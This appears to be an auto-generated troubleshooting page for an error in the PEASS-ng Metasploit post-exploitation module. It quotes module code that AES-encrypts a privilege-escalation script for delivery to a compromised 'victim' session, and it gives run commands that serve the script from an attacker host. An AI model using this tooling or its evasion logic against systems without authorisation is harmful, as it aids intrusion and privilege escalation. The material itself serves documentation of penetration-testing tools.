peass-ng/PEASS-ng · error · RuntimeError

openssl not found on victim, unset the password of the modul

Error message

openssl not found on victim, unset the password of the module!

What it means

The peass.rb Metasploit module encrypts the PEASS script with OpenSSL when a PASSWORD is set, so the victim must have an openssl binary to decrypt it. Before uploading, run checks `command -v openssl` on the session; on a non-Windows session without openssl it aborts with this error, telling you to unset PASSWORD (use plain base64 encoding instead).

Source

Thrown at metasploit/peass.rb:94

        OptString.new('URIPATH', [false, 'URI path to download the script from there (only used if SRVHOST)', "/" + rand(36**4).to_s(36) + ".txt"])
      ])
    
    @temp_file_path = ""
  end

  def run
    ps_var1 = rand(36**5).to_s(36) # Winpeas PS needed variable

    # Load PEASS script in memory
    peass_script = load_peass()
    print_good("PEASS script successfully retrieved.")

    # Obfuscate loaded PEASS script
    if datastore["PASSWORD"].length > 1
      # If no Windows, check if openssl exists
      if !session.platform.include?("win")
        openssl_path = cmd_exec("command -v openssl")
        raise 'openssl not found on victim, unset the password of the module!' unless openssl_path.include?("openssl")
      end

      # Get encrypted PEASS script in B64
      print_status("Encrypting PEASS and encoding it in Base64...")
      
      # Needed code to decrypt from unix
      if !session.platform.include?("win")
        aes_enc_peass_ret = aes_enc_peass(peass_script)
        peass_script_64 = aes_enc_peass_ret["encrypted"]
        key_hex = aes_enc_peass_ret["key_hex"]
        iv_hex = aes_enc_peass_ret["iv_hex"]
        decode_linpeass_cmd = "openssl aes-256-cbc -base64 -d -K #{key_hex} -iv #{iv_hex}"
      
      # Needed code to decrypt from Windows
      else
        # As the PS function is only capable of decrypting readable strings
        # in Windows we encrypt the B64 of the binary and then load it in memory 
        # from the initial B64. Then: original -> B64 -> encrypt -> B64

View on GitHub (pinned to 53fb989abc)

Solutions

1. Unset the PASSWORD datastore option so the script is sent base64-encoded instead of encrypted
2. Install openssl on the victim (e.g. `apt install openssl`)
3. Ensure openssl is in the PATH used by cmd_exec

Example fix

# before
run_single("use multi/meterpreter/peass; set PASSWORD mysecretpw; run")
# after
run_single("use multi/meterpreter/peass; unset PASSWORD; set SRVHOST 10.0.0.5; run")

# check on the victim session before running peass with PASSWORD
if session.platform !~ /win/
  openssl_path = session.shell_command_token("command -v openssl")
  raise "openssl missing on victim; unset PASSWORD" unless openssl_path.to_s.include?("openssl")
end

begin
  run_single("use multi/meterpreter/peass; set PASSWORD xxx; run")
rescue ::Exception => e
  print_error("#{e.message}; retrying without PASSWORD")
  run_single("use multi/meterpreter/peass; unset PASSWORD; run")
end

When it happens

Trigger: Running the peass module with datastore['PASSWORD'] longer than 1 char against a Unix/Linux session whose `command -v openssl` returns nothing (openssl not installed or not in PATH).

Common situations: Minimal containers, BusyBox-based systems, stripped embedded devices, or restricted PATH on the victim where openssl is absent.

Related errors

• base64 not found on victim, set a 32B length password!
• Neither curl nor wget were found in victim, unset the SRVHOS
• Something failed downloading PEASS script from #{url_peass}
• PEASS local file (#{url_peass}) does not exist!
• Something falied reading PEASS script from #{url_peass}

AI-assisted analysis of peass-ng/PEASS-ng@53fb989abc (2026-09-02). Data as JSON: /api/errors/0619c64382d18c15. Report an issue: GitHub.